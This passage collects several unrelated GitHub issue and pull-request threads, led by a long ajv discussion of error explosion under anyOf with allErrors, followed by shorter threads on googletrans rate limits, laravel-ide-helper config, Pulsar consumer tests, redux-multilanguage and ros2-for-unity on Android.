    }
  }
}

If you have data like:
{
  "type": "model1",
  "model1_a": "foo",
  "model1_b": "bar",
  "children": [
    {
      "type": "model2",
      "non-existent-property": null
    }
  ]
}

As you can see, model2 will be invalid, as expected. Because additionalProperties is false.
This does validate correctly (assuming what I wrote above off the top of my head is syntactically correct).
However, it produces a huge amount of errors internally. In my case, I get 2,900+ errors. This seems directly proportional to how many schemas exist in the anyOf of generic.
In cases where I have a large object, deeply nested, I often get 1 million or more errors from ajv. Most of these errors look like duplicates or at least very similar to each other.
I've stepped through ajv's generated code for some time now and didn't really get anywhere of use. All I found out was:

If an object is invalid, it will have the sum of all errors from all anyOf entries (which is already a lot, but not the thousands I saw)
The parent will no longer match any entries of the anyOf (due to its children not being matched either), so it too generates the same amount of errors, if not more
Using oneOf causes performance to decrease massively because, unlike anyOf, it won't quit early once it matches
Even if an object matches one of the anyOf entries, it seems it will produce errors for all other entries (even if they may not be used in the end)

This causes node to throw an out of memory exception due to the max heap size being reached. In the browser, it will crash the page (along with dev tools). Essentially the vErrors array grows to such a large size that it can use 2GB+ of memory in my case.

ok here's a JS reproduction:
      const schema = {
        "$schema": "http://json-schema.org/draft-06/schema#",
        anyOf: [ { $ref: '#/definitions/generic' } ],
        definitions: {
          generic: {
            type: 'object',
            anyOf: [
              { $ref: '#/definitions/model1' }
            ]
          },
          genericChildren: {
            type: 'array',
            items: { $ref: '#/definitions/generic' },
            additionalItems: false
          },
          model1: {
            type: 'object',
            properties: {
              type: {
                type: 'string',
                enum: [ 'model1']
              },
              model1_a: { type: 'string' },
              model1_b: { type: 'string' },
              children: { $ref: '#/definitions/genericChildren' }
            },
            required: ['type'],
            additionalProperties: false
          }
        }
      };
      for (let i = 2; i < 20; i++) {
        schema.definitions[`model${i}`] = {
          type: 'object',
          properties: {
            type: {
              type: 'string',
              enum: [`model${i}`]
            },
            children: { $ref: '#/definitions/genericChildren' }
          },
          required: ['type'],
          additionalProperties: false
        };
        schema.definitions.generic.anyOf.push({
          $ref: `#/definitions/model${i}`
        });
      }
      const json = {
        type: 'model1',
        model1_a: 'foo',
        model1_b: 'bar',
        children: [{
          type: 'model2',
          nonExistent: null
        }]
      };

      //editor.set(json);
      const ajv = new Ajv({
        allErrors: true
      });
      ajv.addMetaSchema(await getJSON('node_modules/ajv/lib/refs/json-schema-draft-06.json'));
      const valid = ajv.validate(schema, json);

nonExistent: null invalidates the whole tree, and we then end up with 778 errors in ajv.errors.
If we instead pass the following data:
{
  type: 'model1',
  model1_a: 'foo',
  model1_b: 'bar',
  children: [{
    type: 'model2',
    children: [{
      type: 'model2',
      nonExistent: null
    }]
  }]
}

It is one level deeper, we now get 14,135 errors in ajv.errors.
As you can see, in this schema, if a very deep child is invalid we will easily reach chrome (or node's) maximum memory allocation.

You specifically instructed ajv to collect all possible errors (allErrors: true), so that's exactly what it does. There is no easy generic way to decide which branch is "closer" to being valid, so ajv validates data against all branches and includes all errors. You may have smaller number of errors without allErrors: true, but because ajv doesn't know which branch is less invalid it would still include errors from all branches of at least one "anyOf".
To have a smaller number of more useful errors you need to specifically tell ajv which branch it should and which branch it shouldn't try to validate against. draft-07 introduced conditional if/then/else exactly to make it possible. So instead of using:
{
  "anyOf": [
    { "$ref": "#/definitions/model1" },
    { "$ref": "#/definitions/model2" }
  ]
}

you could use something like
{
  "properties": {"type": {"enum": ["model1", "model2"]}},
  "allOf": [
    {
      "if": {"properties": {"type": {"const": "model1"}}},
      "then": { "$ref": "#/definitions/model1" },
    },
    {
      "if": {"properties": {"type": {"const": "model2"}}},
      "then": { "$ref": "#/definitions/model2" },
    }
  ]
}

You obviously can do it without allOf, using only if/then/else, but if you have many possible types the above way seems better to me - it allows to avoid deep nesting of if/then/else.

yup I figured allErrors is what causes the explosion in error count, but you're right I do still get a rather large amount without it.
I understand why it does it (because as you said, it can't know which of the anyOf it should be validating against). However, I didn't realise the if/then was in the spec now (assumed its still a proposal of some sort).
I'll give that a go.

If the problem is indeed stack size because of deeply nested recursive data (it should be really deep for it to be a problem though), you can consider using async schemas - it should help with the stack size (negatively affecting performance though. But as I understood, your problem is the large size of error array.
You can also try not using verbose option - it also increases the size of error object (data and schema can be large strings that are copied by value, not by reference).

There is a proposal for select that makes above even more concise. It depends on $data proposal, so it's unlikely that select makes into the next draft. select is available in ajv-keywords. With select you can:
{
  "select": {"$data": "0/type"},
  "selectCases": {
    "model1": { "$ref": "#/definitions/model1" },
    "model2": { "$ref": "#/definitions/model2" }
  },
  "selectDefault": false
}

But bear in mind that it has some limitations (they aren't critical though - see issues there).

no worries, i'll try with allErrors: false, verbose: false.
what spec is if/then in? is that draft 7?
also, just to confirm i understand this. allErrors: false will mean per object we return after the first error? and is that the first error of each of anyOf?
i do get quite a few errors still but far, far less than with allErrors: true.

what spec is if/then in? is that draft 7?

yes

allErrors: false will mean per object we return after the first error?

yes, if this error means failure. That's the default.

and is that the first error of each of anyOf

each branch of anyOf will stop validating on the first error in each branch, but all branches must be validated as some branch may pass. All errors that were collected will be reported. "anyOf" always stops validating on the first passing branch. "allOf" stops validating on the first failing branch, but in allErrors mode it will always validate against all branches. "oneOf" stops validating on the second passing branch, otherwise it will always validate against all branches (as only one branch allowed to be valid) - that's why anyOf generally better than oneOf.

In all cases without allErrors it will stop as early as possible and with allErrors collect as many errors as possible.

yup sounds good to me.
i did switch from oneOf to anyOf for performance reasons (better to quit early than have to test every branch, especially since all entries have a different type so we can't match two anyway).
I totally didn't realise if/then was in one of the drafts already so i'll give that a go.
Seems most of my problems are solved by allErrors: false, fortunately.
Thanks for the quick responses, i figured it would be schema related or config rather than a bug but wasn't sure.

Try select too - I'm sure it'll get into the spec some day :)


BMW-Bike Landing Page

Project title
BMW-Bike Landing Page
Project Description
A website for bike with color variant using HTML, CSS and JavaScript.
Stack:
And in order to tick the check box just but x inside them for example - [x] like this. Please delete options that are not relevant.

 Got it.😅


Code getting rate limited

Googletrans version:

[ ] 4.0.0rc1
[X] 3.1.0a0
[ ] 3.0.0
[ ] 2.x

I'm submitting a ...

[X] bug report
[ ] feature request

Current behavior:
The code is getting rate limited by google,
    raise Exception('Unexpected status code "{}" from {}'.format(
Exception: Unexpected status code "429" from ['translate.googleapis.com']

Expected behavior:
How many requests should we do in one min, or after how much time, should we request? Couldn't find in docs
Steps to reproduce:
Try running code around 50 times a min
Related code:
translator = Translator(raise_exception=True)
print(translator.translate("Hi, Its me your friend, batman", dest=lang))

Other information:
https://github.com/ssut/py-googletrans/issues/297

Sleeping for 7 seconds between queries seems to work fine without getting ratelimited. Alternatively, pass along proxies to your Translator:
How its implemented:
https://github.com/ssut/py-googletrans/blob/d15c94f176463b2ce6199a42a1c517690366977f/googletrans/client.py#L60
This library uses httpx, more info on how to construct your proxy dictionary can be found there:
https://www.python-httpx.org/advanced/

Thanks, but 7 seconds didn't work, though 10 secs working fine, thankyou for your help


Added instructions to run Sparkler crawl with a seed url file

What changes were proposed in this pull request?
(Please fill in changes proposed in this fix)
Is this related to an already existing issue on sparkler?
If so, mention that issue by referencing its number here.
Will it close an existing issue?
Say 'Closes #IssueNum' here.
How was this patch tested?
We are particularly interested in unit tests, integration tests, manual tests you did to ensure that the patch works as expected, so briefly describe them.
Please review
https://github.com/USCDataScience/sparkler/blob/master/.github/CONTRIBUTING.md before opening a pull request.

thanks @prenastro !


Optionally write missing Laravel Model DocBlock

Hi,
This will solve the problem from #699, #697 and #695.
This patch will not completely disable the addition of mixins like https://github.com/barryvdh/laravel-ide-helper/commit/7db1843473e1562d8e0490b51db847d3a1415140, but make them optional.
It would be really wonderful to continue to have this option as it greatly simplifies the work. But since not everyone wants /vendor files to be changed, this behavior is now optional.
The changes to add the mixins are the same as in #624 .
Best,
Patrick

Fixes: #715 #716

How can this option be activated?
Cheers.

@iPaat thx. I was using Lumen. I Downloaded the new config file.
has you mentioned
return array([
...
'write_eloquent_model_mixins' => true,
...
];

fixed it for me.

Hi,
in your config file set the 'write_eloquent_model_mixins' option to true.
Best,
Patrick

I am study laravel, and it has many config files. Where specificaly i should put this rule?

This package has it's own in config/ide-helper.php iff you published it; see the README for details on that


ACA supports pulsar consumer

This change added the pulsar support for aca, it includes:

new message consumer - aca_message_pulsar_consumer
update aca_machine_init.sh & dockerfiles for installing pulsar dependencies
update cmakelists

I‘ve tried many times but it seems  impossible for me to pass the second test. Could someone tell me why?

I‘ve tried many times but it seems impossible for me to pass the second test. Could someone tell me why?

@lly00 As mentioned in the Slack channel, this could be caused by CI env itself (i.e., the machine which hosts the alkaid-ci-bot test may miss couple of dependencies). You could use https://jenkins.alkaidcloud.io/job/alcor-control-agent-pr-test/210/console to find what went wrong in the test. @er1cthe0ne will help to look into the issue and provide guidance.
Next time, please feel free to raise questions or ask for help if you got blocked on some issue for more than a day or so.

@lly00 The CI machine has been updated with pulsar dependency, please submit a simple PR (like adding a newline) trigger it.

@lly00 - we updated our CI environment and added the pulsar dependency, please submit a simple change to this PR to trigger it.

CI is passing. The change is looking great now, I left some minor comments. Only thing remaining is testing, you will need to use a test pulsar producer and provide some message for ACA to consume.

I can do the test locally cause pulsar server is needed, but do I need to add some test cases into test/gtest/aca_tests.cpp?

I can do the test locally cause pulsar server is needed, but do I need to add some test cases into test/gtest/aca_tests.cpp?

Yes, we need automated test before code checkin. You will need to add pulsar producer code which will likely be used in the future. Since you have added pulsar consumer code, it will take a few extra days to add pulsar producer code. Once we have that, we are setup the automated test as below:

AlcorControlAgentLib - add pulsar producer code, similar to what you have done to add pulsar consumer support
AlcorControlAgent (linked with AlcorControlAgentLib) - use as pulsar consumer under test, no additional feature needed from the current PR
aca_tests.cpp (linked with AlcorControlAgentLib) - use as pulsar producer, add a DISABLED test like:
TEST(pulsar_test_cases, DISABLED_pulsar_consumer_test)
To run it:
./build/tests/aca_tests --gtest_also_run_disabled_tests --gtest_filter=*DISABLED_pulsar_consumer_test

We can discuss this during our open source meeting scheduled at 09/29 6:30 PM, PDT


Reloading page after changing language

Hi!
To set the initial language I'm using
const language = localStorage.getItem('language') || 'en';

and then
const rootReducer = history => combineReducers({
  //...
  multilanguage: createMultilanguageReducer({ currentLanguageCode: language }),
});

When I change the language I set the value on localStorage right, and the language changes in the page. But when I reload I get an error if the language is not 'en'.
TypeError: Cannot read property 'search' of undefined

Here is my project: https://github.com/rnsdomains/rns-manager-react
Thanks

Here is my App
class App extends Component {
  componentDidMount() {
    const { dispatch } = this.props;

    dispatch(loadLanguages({
      languages: {
        // eslint-disable-next-line global-require
        en: require('../languages/en.json'),
        // eslint-disable-next-line global-require
        es: require('../languages/es_uy.json'),
        // eslint-disable-next-line global-require
        ja: require('../languages/ja.json'),
        // eslint-disable-next-line global-require
        ko: require('../languages/ko.json'),
        // eslint-disable-next-line global-require
        pt: require('../languages/pt_br.json'),
        // eslint-disable-next-line global-require
        ru: require('../languages/ru.json'),
        // eslint-disable-next-line global-require
        zh: require('../languages/zh_cn.json'),
      },
    }));
  }
  //...

Everything is as docs explain

Now, lookin at the code I understand why only en works:
https://github.com/stssoftware/redux-multilanguage/blob/e9b4d277c0b812d380179990f436c9d529a6b3e1/reducers/multilanguage.js#L3
I solved it this way:
const multilanguage = createMultilanguageReducer({
  currentLanguageCode: language,
  languages: {
    // eslint-disable-next-line global-require
    en: require('../languages/en.json'),
    // eslint-disable-next-line global-require
    es: require('../languages/es_uy.json'),
    // eslint-disable-next-line global-require
    ja: require('../languages/ja.json'),
    // eslint-disable-next-line global-require
    ko: require('../languages/ko.json'),
    // eslint-disable-next-line global-require
    pt: require('../languages/pt_br.json'),
    // eslint-disable-next-line global-require
    ru: require('../languages/ru.json'),
    // eslint-disable-next-line global-require
    zh: require('../languages/zh_cn.json'),
  },
});

but it's not the expected workflow...


Android app installation with ros2-for-unity does not work

I'm sorry, I'm trying to install an app on android with ros2-for-unity and when I run build, I get the following error.
I would like to know how to solve this problem.
I went to "Player Settings..." and found the Scripting Backend section. I was able to install the app, but turtlesim did not work.
Does this mean that there is a problem with IL2CPP?

Sorry, but Ros2ForUnity isn't supported on Android devices :(

This URL seems to be supported, but does it mean it is not?
https://qiita.com/Kotakku/items/cdc3eca89dd8aec4ee86

We didn't prepare the R2FU to run on Android, but it looks like, indeed, someone from the community did. :+1:
Looks like you can find the forks here: https://github.com/Kotakku?tab=repositories
As for your issue, are these 2 lines the whole error message? Is there something else after the clang: not found statement? Maybe it mentions what couldn't be found?


Remove lurk-ipld dependency in favor of libipld

Fixes #25

Well, the thing is we don't want to use libipld per se because it doesn't have the stuff we need on https://github.com/ipld/libipld/pull/147 in main yet. Maybe we should reorient this task around https://github.com/yatima-inc/Ipld.lean/tree/jcb/starshot ?